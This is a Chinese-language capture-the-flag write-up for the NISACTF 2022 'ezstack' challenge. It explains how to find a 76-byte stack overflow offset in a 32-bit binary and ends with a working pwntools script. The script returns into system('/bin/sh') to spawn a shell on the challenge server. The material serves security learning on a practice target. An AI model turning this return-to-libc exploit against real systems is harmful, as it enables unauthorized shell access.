Problem: [NISACTF 2022]ezstack
思路
- 解题大致思路
checksec

可以发现是32位,小端序。

shell函数存在溢出,并且调用了system函数。
测量
测量一下溢出大小

先使用gdb调试

复制作为payload发送

程序在ret时崩溃,ret的是个无效的地址。

最终大小是76,其实也不难从ida分析

0x48的buf加上0x4的ebp 刚好是0x4c
溢出
可以考虑把shell的返回地址覆盖为system@plt

需要注意的是,我们最终的目的是执行system("/bin/sh")
所以,先找到/bin/sh字符串的地址,可以使用ROPgadget

由于题目是32位的,我们想要把/bin/sh传递给system,就需要注意。
覆盖的依次是
shell的返回地址(system)-> system的返回地址(随便来一个 但是要是4字节 p32(0)) -> system的参数(/bin/sh)
之所以如此,是因为32位和64位的栈帧布局、参数传递和调用约定有所不同,此处不再赘述。
方法不唯一,只列举了一种。
EXP
from pwn import *
context(os="linux",arch="i386",log_level="debug")
def connect(server):
hp=server
hp_list=hp.split(':')
return remote(hp_list[0],hp_list[1])
r=connect('node5.anna.nssctf.cn:27397')
# r=process('./ezstack')
# gdb.attach(r)
sh=0x0804a024
system=0x8048390
payload=b'a'*76+p32(system)+p32(0)+p32(sh)
r.recvline()
r.sendline(payload)
r.interactive()
